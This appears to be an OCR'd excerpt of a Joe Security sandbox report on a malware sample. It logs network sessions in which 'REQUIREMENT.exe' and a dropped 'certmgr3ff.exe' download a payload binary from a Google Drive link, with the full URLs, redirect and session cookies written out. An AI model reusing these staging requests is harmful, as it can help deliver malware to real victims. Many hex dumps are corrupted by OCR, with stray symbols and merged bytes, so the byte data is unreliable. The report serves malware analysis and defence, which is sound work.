2021-10-13 13:52:01 UTC 500 IN Data Raw: 65 42 7f 20 e3 eb 2b b8 68 ab ce ff 7a 05 €5 65 14 cb 17 a3 29 41 36 71 e0 f5 42 0a 9f 5f b6 6¢ 2e 33 4b 2 89
36 2d 8¢ 25 18 a8 01 79 98 2b b1 7a b6 9b 81 53 b3 ec 31 97 71 2d 86 6e d6 4d 2a 1a 81 96 73 ec 33 af Ob 28 2¢ 21 b3
bd 6e 53 a3 8¢ 7b e5 5a 9b b8 77 c4 08 a6 21 b8 27 e4 1f 61 2b 22 8c 9c be be 3e 12 6b 2a c7 26 9d 92 e4 10 32 fe 7b bf
b7 Of 4f 88 4a 7f 06 d8 1a f3 Ob 47 6e 7e 45 Oe 09 74 cd 05 d1 dO 6c d4 7f 90 99 e4 dO ac 1c 9a 8 6¢ 76 4f 8f 9e 4f fc 13
a3 33 d126d5 2f 95 93 d9 f7 70 51 85 95 ed 79 d7 14 9e 3f 87 83 2d 1a 71 5¢ bc 34 de 39 8b 16 dd c2 67 1d c3 b2 7e 82
1f ff 26 eb 6b 09 ee 4b 37 e7 cf e2 35 ea 17 56 17 16 f1 ee ab ea fe 4c ae 2d fe 35 72 ef 4c e5 1d 84 9b 3c 7a 23 95 bl e2
f2 215 e8 f5 68 3a a3 d7 c0 d4 e0 14 4d 67 76 b9
Data Ascii: €B +hze)A6qB_|.3K6-%y+zS1q-nM*s3(,!nS{Zw!'a+">k*&2{0JGn~EtllvOO3&/pQy?-q\49g~&kK75VL-5rL
<zi#!h:Mgv

2021-10-13 13:52:01 UTC 501 IN Data Raw: 9a c3 6b ed 42 94 13 7e 89 c9 95 29 89 02 3a 96 09 78 3b be 03 bc fc 00 c5 fe fb ed 5b d9 cb 4f 3f a5 a3 15 aa
152e 3a 68 7e clal 7e c4 b9 7b 76 Oe df 11 c9 24 c5 1f 82 €6 91 2a a5 Oc 93 a4 e7 11 8a 4d f5 3c Ob b1 16 17 13 e4 2d
63 91 45 c2 81 4e 79 b5 51 b4 76 51 91 c9 2a 13 3b eb 3e 2d 25 91 12 49 02 99 5f ea d9 9a 7d 20 fb 57 ff 9c 25 1c 8 36
ba 55 77 26 c4 7d 07 8c 94 b8 d9 18 48 74 7b 60 f6 d3 61 3d 51 26 c9 6d d2 64 Oe 26 2f 5a 32 50 eb 35 2f 9e 8d b4 d6 69
7b d9 57 al b3 bd 46 90 28 11 e7 19 40 89 30 71 3f ec db f0 18 52 8a a9 fc 64 eb 34 d8 48 92 31 84 a3 7d 22 b7 03 1d 5¢c
52 b6 b3 56 a4 cc a8 54 eb bf 7b c¢3 f4 5d db 82 8e 18 6d ed 01 ee 5e 76 fd b6 03 33 fa 9b 40 al 04 17 d3 9d 29 41 dd e5
a5 3d 3a 3d 38 5a da d7 78 85 ed fa 36 8d 40 95 88 ad
Data Ascii: kB~):x;[0?.:h~~{v$*M<-cENyQVvQ*;>-%I_} W%6UW&}H{"a=Q&md&/Z2P5/{WF(@0q?Rd4H1}"\RVT{Im~v3
@)A=:=8Zx6@

2021-10-13 13:52:01 UTC 502 IN Data Raw: d6 5d 11 1c 16 ba e5 a9 a0 49 00 f2 45 8c ae 34 96 57 33 7c 70 Oe 3e 16 2b f6 f2 7f e2 27 4e 28 03 5f 32 ee fb
3d a6 f4 db 2b fc 30 e5 ee 9c 11 ba 0d 65 41 81 93 c2 ac 88 4e e4 77 69 3d 81 f6 d6 07 98 7b f2 ee 15 1d 06 5e a5 49 11
31l e0e2c3d44laadd 2177 1a 01 01 be 2f 9e 9b 44 74 5 2f 1e b9 3d 5d f7 73 e5 b8 00 el 3c f9 be e7 f4 10 df 63 52 5f
bd Oe 16 46 74 4e 63 e1 04 73 8b b1 02 39 19 e2 bb 8e 59 3c €5 9b 13 e8 7c e0 e8 b9 8¢ b6 82 90 46 b8 a5 el 5 ab 1b
c0 8a eb 6d 63 03 22 91 23 57 €3 26 2c al 3c 52 c6 cb 23 04 67 00 79 a9 85 21 22 8c 30 78 13 ef b7 e6 19 97 fd 9a 3f 56
37 5a 96 32 17 ca c0 fb 12 1d 4e 25 4b 0 ff 58 c2 e0 a7 7e 5¢ ff 77 d6 38 de d1 53 ed dc 25 8f 6f 62 d5 47 ff 83 91 {6 68 2f
e0 2e 1f 8a f2 97 d3 06 1e c0 0d 79 f9 c6 31 40
Data Ascii: ]IEAW3|p>+'N(_2=+0eANwi={" IAM!w/Dt/=]s<cR_FtNcs9Y<|Fmc"#W&,<R#gy!"0x?V7Z2N%KX~\w8S%obGh
Lyl@

2021-10-13 13:52:01 UTC 504 IN Data Raw: 84 d6 ab 7c e8 57 a6 2f 2a 6e 23 a3 47 52 57 e7 3d c8 83 0a 46 1e d1 02 2d 32 2e 8b 7d 83 7a 9b 55 09 69 69
af 76 3e 2d d0 8f 3b 61 be 55 aa 55 61 43 el 2f 52 8d 5f Ob 09 22 2d 6a f9 71 ea 7 ab 4d d9 03 5d 1a 3d bb 65 55 eb 62
87 41 49 84 50 41 8c 4a 30 55 75 43 2b 23 0a 57 7e dc 71 e7 6a a3 77 5a 56 fe d9 30 39 34 f9 45 46 24 92 72 5c 2a 81 39
8875 97 bc c0 ee d6 49 13 10 c0 16 66 4e bd 9f al e7 Oc d4 31 d4 66 e7 de 97 84 b9 fb 3e 70 9f el 50 96 ba 1e 3d 9b c1
1d 56 f5 08 22 12 f3 0d 36 d7 1a 1d 3b 93 75 01 24 cd 85 e8 a3 25 ad d2 ab 6f cc a4 09 df 39 cb 9e 10 fb 43 65 fc b2 65 af
7176 36 d8 c7 c9 ec 03 47 83 aa 26 16 4c d1 6¢c 8a eb 17 52 a7 a3 e7 cf 24 1e 77 cc e4 08 2f fb 24 ec 8a 42 ac d4 4f 38
12 2b c0 6¢ 4d 7f 99 d5 e0 8f ca c6 52 e6 85 ff f4 70
Data Ascii: [W/*n#GRW=F-2.}zUiiv>-;aUUaC/R_"-jgM]=eUbAIPAJOUUC+#W~qjwZVO094EF$r\*9ulfN1f>pP=V"6;u$%09
Ceeqv6G&LIR$W/$BO8+IMRp

2021-10-13 13:52:01 UTC 505 IN Data Raw: 2a 6d 20 1f 50 5¢ ¢7 b1 67 da c2 04 36 3 da 27 a4 e3 4b 56 4b b6 92 37 69 86 65 15 44 Ob c8 9a c7 a4 dd be
2fcc 8a 718390 5 f3 09 bd ef ¢4 bb ¢8 52 ¢7 93 3a 30 2d 12 2c d0 bb 5a bb fa 3c 4c cf c6 6b 44 a0 e7 40 6f 2b a4 a2 2e
05 4d 5e dd 00 74 e5 70 a9 b1 a6 df c2 4c 03 69 03 ac ca 8e 6a f4 f9 06 11 c1 53 d9 c8 b0 96 11 db f9 80 93 dd 74 e5 1e
93 ¢5 59 47 5e 8b 69 68 2e 42 03 09 16 ce 21 53 42 93 81 7c 6b 77 Oa 7d 2a 5a 89 20 e5 c1 73 95 dO 77 c6 1f 13 0f 99 22
ca 61 7b 6¢ df c6 a2 52 cc 3 f3 Ob f3 fe 46 a1 07 7d 71 1d 9c d3 bf Oa de f1 94 d9 08 99 7a 2c 4 45 3c af d7 84 76 92 cO
b4 d2 d1 ba al 47 al 74 ad a5 6¢ 81 71 ca 79 5a f8 e7 18 ec 5d ee ec 1f a7 b9 ¢8 55 3a 7c c4 72 45 e6 53 d5 de 96 dc 3f
6 ac eb 7d 92 48 8b ca 32 fd b8 cb 88 8e 19 3a d5
Data Ascii: *m P\g6'KVK7ieD/qR:0-,Z<LkD@o+.MAtpLijStYGAih.BISBIkw}*Z sw"a{lRF}qz, E<vGtiqyZ]U:|rES?}H2:

2021-10-13 13:52:01 UTC 506 IN Data Raw: 43 73 c8 b5 9f fb ba 6e 01 00 70 4e f7 9a 7e 8¢ 69 5a ed bc 2d fd 7b d2 88 dd bd 11 8a 9d a0 90 34 fa a9 €9 f9
65 5d 54 ef f9 f2 b6 a4 72 56 e4 f6 4b 41 a7 50 23 fe 9b 72 e4 Ob 2f 24 f2 c4 6d 37 6b d3 bc 0d cd f8 f1 12 a7 96 8¢ 08 29
ba 7b 02 6e 4f 47 d4 5f al a8 2b b0 f1 87 2f 77 a1 02 5d b1 b1 70 ef 72 0 a0 31 31 6e 1c a4 6a 5e 8d ef fO b6 19 ce 62 17
€2 17 10 af 49 bf f0 d1 44 70 94 ed b5 d3 62 e8 €6 ad ae 8e eb 8¢ c1 88 ad d2 97 c4 39 el e4 00 b2 90 24 3d 58 ef d9 96
cc 2b 4e 87 43 80 cf 7e 85 c2 b4 e5 a3 6d d4 ed 4a 65 b2 el 85 ab 85 a8 b3 be 97 cc 90 36 ba d2 69 4a 42 95 47 4e 87
ch 14 69 2b 49 95 27 ca 73 2c ¢7 19 2b 2d 91 8a d6 70 1b dO 37 25 68 9f 71 80 63 5d 6b be 3b b8 54 0Ob 9f ef 3a e4 7a 68
a2 f5 63 3a 86 b2 85 25 46 a9 44 d1 07 ea d8 cc 7b
Data Ascii: CsnpN~iZ-{4e]TrVKAP#r/$m7k{nOG_+/w]prl1nj*bIDpb9$=X+NC~mJe6iJBGNi+l's,+-p7%hqc]k;T:zhc:%FD{

2021-10-13 13:52:01 UTC 507 IN Data Raw: 1f 47 da b4 c0 9f 33 aa 5d ed 1b e8 78 ff d8 00 f1 c3 12 fb 47 6¢ 7e c4 66 46 2e 92 d9 3d 43 78 b8 43 d8 d0 c7
26 ea 80 66 c5 5f d1 09 c4 16 1d 75 f4 25 3d e5 30 66 64 29 78 84 fe 36 d6 2b 00 a7 c3 2a cc 21 d6 26 2b bd d2 35 79 26
50 9d e0 d4 f6 75 14 ab e0 b2 57 79 22 e7 bc 60 b8 61 55 9c 41 d7 ce 7d f6 23 5a 9f df 79 3a 1b f1 a6 bc 76 ef 6a bd 63 22
0f 03 4d Oa 38 32 4d fc 81 8a 58 61 2e 0f 83 67 20 b3 86 54 a0 90 35 4c 65 f2 c6 d8 7d 9d 05 fa aa 93 3b d5 84 74 ef 81
14 02 d2 96 7a 36 Ob Oe cO f8 01 65 72 80 ec f1 7c 1c 57 €8 94 bl f5 85 4f 99 {7 11 a5 1c 4b 00 4b 6¢ 31 7d 6f 1a 19 9f 59
3d 29 f1 51 07 40 d4 5f b2 3c 6¢ 9a 0a da 5¢c 97 4f 98 17 3e fb 33 d7 dc 8¢ 38 95 el 8d aa 57 2d 4c 08 8a 8a 85 36 fe 37
cc 21 d6 37 f3 b2 c9 el 4c f0 f2 ba a3 f4 b9 07
Data Ascii: G3]XGI~fF.=CxC&f_u%=0fd)x6+*|&+5y&PuWy" aUA}#Zy:vjc"M82MXa.g T5Le};tz6er| WOKKI1}oY=)Q@_<
NO>38W-L67!7L
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kBytes

Timestamp transferred Direction
2021-10-13 13:52:01 UTC 509 IN
2021-10-13 13:52:01 UTC 510 IN
2021-10-13 13:52:01 UTC 511 IN
2021-10-13 13:52:01 UTC 513 IN
2021-10-13 13:52:01 UTC 514 IN
2021-10-13 13:52:01 UTC 515 IN
Session ID Source IP Source Port
8 192.168.11.20 49831
kBytes
Timestamp transferred Direction
2021-10-13 13:52:04 UTC 515 ouT

Copyright Joe Security LLC 2021

Data

Data Raw: 77 75 d5 90 de 79 c6 6a e3 f9 c5 e5 22 19 8a bf 8e 54 01 75 10 6a 10 12 8f a3 67 a7 3f ad 5¢c 1c 0d 62 Oc 36 2e
€2 02 ab 65 84 76 4f f2 05 c0 45 65 16 f3 51 56 27 53 01 1b 28 10 56 ea 5¢ 21 39 a2 50 el 93 fa aa 8e 5a 9f 60 ed 5¢c 27
79 f2 78 97 6f d1 57 fa 32 2c de be e6 bf ff 2b 37 5a 54 7a 8a 99 dc d6 9b 80 b9 11 94 fb 20 9a fe e5 ab f1 35 ea d6 82 19
e7 ad 19 7a e4 c0 d0 42 3d 45 e3 cd 04 dd 0f 3b d4 el f3 24 6e 15 70 f6 37 c1 fb 5d cc cb 9b 66 73 5f 60 96 93 36 90 86
1386 c984 ad 7b c2 b8 76 f4 ed 4d f8 72 10 fa d7 8d 05 de de c7 90 88 e0 c0 a5 60 a5 b0 44 65 07 86 6¢ 51 Oa 7b b4 09
35 a4 bb b6 89 49 54 fc 87 92 fc 87 7f ac c8 ¢5 4c 37 66 74 4c 8f 06 8a dc a6 72 b5 el e4 cl a7 01 cd 77 c7 17 32 f5 35 05
€9 0d c5 43 58 4f 7d c8 a4 03 65 f0 08 94 e8 cb

Data Ascii: wuyj"Tujg?\b6.evOEeQV'S(V\I9PZ \'yxoW2,+7ZTz 5zB=E;$np7]fs_"6{vMr DelQ{5ITL7ftLrw25CXO}e

Data Raw: 42 54 3c ba 13 85 14 14 5e 5d 43 7b f3 ba 00 5a f5 cc 91 d1 5f 87 a8 17 75 93 06 ca b5 1a 20 e3 54 a2 6b 8a
29 06 46 1d 58 bf 0d 4b 7 14 a9 da e0 09 11 97 95 c7 2d 4f 63 b6 d3 b0 c3 d0 35 26 85 44 f4 4f 7c 47 dc 57 68 af 24 8d
91 45 6e 7e 81 87 3 d0 de 43 7a b9 1c a8 ff 18 f9 8d 88 3e 08 €5 09 63 b4 cf bf 29 5b 6b c8 47 0f 98 00 Oc 9a 47 9e 70
le 35 ef e8 7e 5 f3 1c 34 a6 35 5a b4 5d 43 30 al 50 a6 b9 67 3d 05 d6 91 d1 4d 9b 53 07 ab 9e 69 47 cb df b3 6f 64 e2
99 9b 3c 12 af 86 97 6e cb 56 31 eb c4 fa 4b e7 88 b9 5¢ 06 fb fc dc de d1 28 59 01 ac 76 2a ee e8 05 d0 a7 dO 3a b3 24
5b 1a 8d 09 43 91 94 1a c9 8e 1b 41 2f f9 7e 2d b7 d7 e3 a5 5d 43 0d a9 d4 37 6f c4 03 73 de 7f 23 34 48 03 73 16 46 c1
88 bc 75 6¢ 09 70 9e 50 6d 04 91 65 1d ee 81 0Of e0 ba 58

Data Ascii: BT<"]C{Z_u Tk)FXK-Oc5&DO|GWh$En~Cz>c)[kGGp5~45Z]COPg=MSiGod<nV1K\(Yv*:$[CA/~-]C7os#4HsFu
IpPmeX

Data Raw: 0d 87 8d ca 36 ff b0 93 f7 bd c1 4b 7b 87 60 a5 03 ab 59 6e a0 7b f6 11 55 1c 8b be d6 4c 39 d6 b0 4b 89 d3
e39d b9 63 33 56 c4 d2 19 fe e4 d1 Oc c3 46 18 99 9f 52 17 4e 91 ce fb 5f ef 34 51 2e 14 b0 c8 cd 15 8b f2 34 b5 85 76 cO
32 ef 5b bd 70 5b a5 5a b0 7a 08 ec 25 2d 17 af eb e6 f1 35 87 5f 4c 3c ec b3 00 ec d5 7a 85 4d {7 f1 6b 83 7a 2e 5d Oc 2b
d9 8751 c7c4 1263 e0 de a5 f6 11 cb 96 4d 5e cc b9 7c 74 a6 ca 53 29 33 0a de 70 e7 6f 97 38 23 77 6e 21 26 1la f7 ae
ch 7d 33 34 8f 62 1d 63 47 1d 6c df d9 ea 09 1c b5 7d 61 bf 5¢ 82 43 5¢ 59 a5 eb 49 f6 f1 2a df ff 13 2d c6 68 Ob 31 8e 7d
2c 22207 12 22 5b 13 ea 5d 35 ca 5d 09 ee 08 a0 1e 7b b9 5a dd 05 39 33 ce a5 5b 76 86 9d c5 39 73 c0 c5 e7 42 83
3a ba 36 61 31 ca a5 8f be aa b6 17 65 3c e7 2d fe

Data Ascii: 6K{ Yn{UL9Kc3VFRN_4Q.4v2[p[Zz%-5_L<zMkz.]+QcM"|tS)3po8#wn!&}34bcGl}a\C\YI*-h1},"[]5{Z93[v9sB:6al
e<-

Data Raw: ff 9f aa e3 db 99 Oc b3 b2 dd 4d c7 85 4f 97 7b 9d 65 7d 8e fb 66 6e 52 06 fe b3 91 62 45 66 1d 03 59 37 4f 8b
2f d2 12 d4 df df 3d 62 95 Oe d5 2c 96 32 62 ba 03 cd c7 c2 06 ce cf 1e cc 92 9c 7c cd 14 48 a4 76 27 ff df d8 31 19 64 87
303119 2b 67 15 c3 dd el 54 e2 45 c0 63 fd 3a 38 35 29 af fc d3 ff e3 db 04 45 93 a2 80 c0 7d c2 75 Oc 9f f2 4b 1a 52 b3
86 09 89 23 00 5b d8 de 8b 44 1d bl c¢5 90 30 a5 45 75 a3 f3 7c al 63 5¢ 89 bb 07 92 00 23 ¢4 62 cf 72 37 b6 89 91 95 3e
€863 65 b7 93 36 8f ca 50 b7 f4 d0 86 02 ef 66 66 fe f3 €5 4d c2 28 ad 84 3f b2 71 10 ce 24 46 ec bb a4 70 f2 07 a2 c4 98
bc fd ¢3 bc 57 0c 79 a4 ea 56 99 05 39 dc 81 bf 5¢ 9a b4 93 95 d6 d0 36 46 61 48 8a cf 1f e4 70 d4 ec b7 f5 1e 91 0d f5 f5
b9 27 a4 0d da b7 f8 86 57 7f f8 8e 61 68

Data Ascii: MO{e}fnRbEfY70/=b,2b|Hv'1d01+gTEc:85)E}JuKR#[DOEU|c\#br7>ce6PffM(?q$FpWyV9\6FaHp'Wah

Data Raw: e7 48 af 58 cb ef f2 35 80 b2 83 2a a9 86 3b el d4 c5 2a d4 fa c4 a6 73 8c 86 78 b4 05 5b ff 02 07 b8 91 ce 08
ab a0 be 4f 31 2c 4b 2e 25 30 al e0 b9 ca 11 40 63 af 5f 7f b3 c1 dc fb 63 8d 3d 87 85 be b4 fc 26 24 f1 a6 73 {3 6f 5a e4
f9 72 .d2 73 3d 6b 76 55 91 f3 f5 ef bd 9e b0 45 el 72 72 97 ec ba 4c f3 f5 bf ¢9 50 74 ad c8 el 5e 11 2b 14 d4 11 57 a8 a6
94 7f fc 40 ca 95 9f 16 ce d3 92 b0 fd 3f 5b bc 5d 3d b5 6¢ Oe cf 9b db dc f5 d9 d4 1c 29 14 {8 7f 1b 7f 22 04 c¢8 73 63 al
5a 93 c3 f8 cf d1 ba c4 65 36 ab e8 eb d0 12 cf 52 c9 6e 53 bb 4b 3f c4 d1 al e4 9c 69 36 5a 94 ea 22 d6 2e 10 33 33 17
b1 a3 d8 4c ca 94 e8 af 44 9c 78 6b b3 06 ea Oc 65 2a 8¢ e6 ca 69 9 9e 1d 6b 71 61 aa 28 42 db 2f 90 4b 70 45 e3 62 d6
6d 1a 32 b9 5a Oc d1 aa 72 68 b8 4d a3 4b 1c

Data Ascii: HX5**sx[01,K.%0@c_c=&$s0Zrs=kvUErrLPt"+W@?[]=l)"scZe6RnSK?i6Z".33LDxke*ikqa(B/KpEbm2ZrhMK

Data Raw: 33 80 54 f8 ¢7 04 f6 6a el 82 13 18 10 40 Oe 19 8b f3 48 91 e4 1c 25 ba el 43 80 83 71 6a d7 c0 bf 35 15 7e 8a
70 e4 3¢ 91 cc 96 16 32 0f 51 f4 28 ba 9c d5 9f f4 69 2f 47 12 fa 7b 6a ef 9f 3f dc dd 42 83 b 6f b1 8d b3 2¢ 15 ad ee b2 03
3372 6fb7 85 0b 3e 57179290 06 19 54 24 41 dd 5d 43 54 12 7c 7f c8 1d b7 a7 ca ed 76 c3 09 5f a7 3 85 d5 b6 d5 35
aca2c8 14 e2 8551 cd 10 11 63 Oe 5b f2 5¢ 66 43 f1 d9 25 87 23 4b ¢4 28 11 7f a5 1a 1d 17 bl ac 3e 9b 2b 66 27 b2 43
72 9a 67 e7 19 af 27 53 99 cb 57 a8 ad 7b 45 b7 2c 18 3f 8c 41 67 3e 38 cf e2 27 53 c4 eb f8 30 33 a2 91 7e 2f 5¢c 03 ¢7
b9 f7 98 dc ba 90 1d d9 71 fO 7b 71 6d f2 4b 7f 8e 44 82 f0 bf 66 2d 31 ac 52 5¢ 11 ¢5 ed a0 44 29 ce cf 6d fb 36 fe 18 a0
75ad 72 cc b9 38 31 d5 64 24 2f a4 ed al fa

Data Ascii: 3Tj@H%Cqj5~p<2Q(i/G{j?Bo,3ro>WT$A]CT|v_5Qc[\fC%#K (>+f'Crg' SW{E, ?Ag>8'S03~/\q{gmKDf-1R\D)
m6urg1ds$/

Destination IP  Destination Port Process
172.217.168.46 443 C:\Users\user\Desktop\REQUIREMENT.exe

Data

GET /uc?export=download&id=1cavmvfhBkRkr58kPbP8ymMPJAEJZGE13 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=erCQGVR30AbnIJ5pNFpHSCGAYJ62W5dN4HM7_6YgJIXNAuvU7WRafMRXMCMPUdUZRh5Qtdjggd
8vMSDtMgwA8YkuahRtOx0V301S2YDycscUArSU4sks1bjEliTSreHgGwIrYdswWnbS3-plvVy97QEU2IECEpPIGBbrpS
mmZ_Evs
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kBytes
Timestamp transferred

2021-10-13 13:52:04 UTC 516

2021-10-13 13:52:04 UTC 517

2021-10-13 13:52:04 UTC 517

2021-10-13 13:52:04 UTC 517

Session ID Source IP

9 192.168.11.20
kBytes

Timestamp transferred

2021-10-13 13:52:04 UTC 517

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49832

Direction
ouT

Data

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 13 Oct 2021 13:52:04 GMT

Location: https://doc-00-60-docs.googleusercontent.com/docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcj
uutlcr6g08d513d6opcs93g9/1634133075000/18281895610876391208/04225796272126474013Z/1cavmvfhBKRkr58kPb
P8ymMPJAEJZGE13?e=download

Content-Security-Policy: script-src 'nonce-sEfjBal0nhbucBTQmoK1jA' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 39 38 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e Oa 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 6f 2d 36 30 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6e 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65

Data Ascii: 198<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-00-60-docs.goog
leusercontent.com/docs/secure

Data Raw: 73 63 2f 6f 72 34 38 69 68 73 6b 30 76 6d 69 66 35 69 66 75 6¢ 33 65 34 38 74 62 63 69 6e 6a 62 76 35 35 2f
70 65 6f 74 69 67 63 6a 75 75 74 31 63 72 36 67 30 38 64 35 31 33 64 36 6f 70 63 73 39 33 67 39 2f 31 36 33 34 31 33 33
3037 35 30 30 30 2f 31 38 32 38 31 38 39 35 36 31 30 38 37 36 33 39 31 32 30 38 2f 30 34 32 32 35 37 39 36 32 37 32
313236 34 37 34 30 31 33 5a 2f 31 63 61 76 6d 76 66 68 42 6b 52 6b 72 35 38 6b 50 62 50 38 79 6d 4d 50 4a 41 45 4a
5a 47 45 31 33 3f 65 3d 64 6f 77 6e 6¢ 6f 61 64 22 3e 68 65 72 65 3c 2f 41 3e 2e Oa 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d
4c 3e 0a 0d Oa

Data Ascii: sc/or48ihsk0Ovmif5iful3e48tbcinjbv55/peotigcjuutlcr6g08d513d6opcs9399/1634133075000/182818956108763
91208/04225796272126474013Z/1cavmvfhBkRkr58kPbP8ymMPJAEJZGE13?e=download">here</A>.</BODY></HTML>

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Destination IP  Destination Port Process
172.217.168.33 443 C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Data

GET /docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcjuutlcr6g08d513d6opcs93g9/1634133075000/18281895610
876391208/04225796272126474013Z/1cavmvfhBKkRkr58kPbP8ymMPJIAEJZGE13?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-00-60-docs.googleusercontent.com

Connection: Keep-Alive

Cookie: AUTH_2b3btrhtkn05e9f8mgnbbcclritoc6m9=04225796272126474013Z|1634133075000|cco6hf5p2hi2d6l67m
rd596ulprmvso4
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kBytes
Timestamp transferred

2021-10-13 13:52:05 UTC 518

2021-10-13 13:52:05 UTC 521

2021-10-13 13:52:05 UTC 525

2021-10-13 13:52:05 UTC 529

2021-10-13 13:52:05 UTC 532

2021-10-13 13:52:05 UTC 534

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdvleFpYhage7Lajo7VFrwVZHj7Q5-5dhHvYE6BwcMKzmCh3D4rMdZzBZ6d11dwm
WhDtbcbryn-sxShDDych1Q

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, I-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, Xx-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-ld, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset,
X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-ld, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer,
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL,
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-Clientinfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-
sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-E
ngine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-C
onsole-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-
namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="oodf_BKGjFIg78.bin";filename*=UTF-8"oodf_BKGjFlg78.bin

Content-Length: 167488

Date: Wed, 13 Oct 2021 13:52:05 GMT

Expires: Wed, 13 Oct 2021 13:52:05 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=vfJ+GA==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
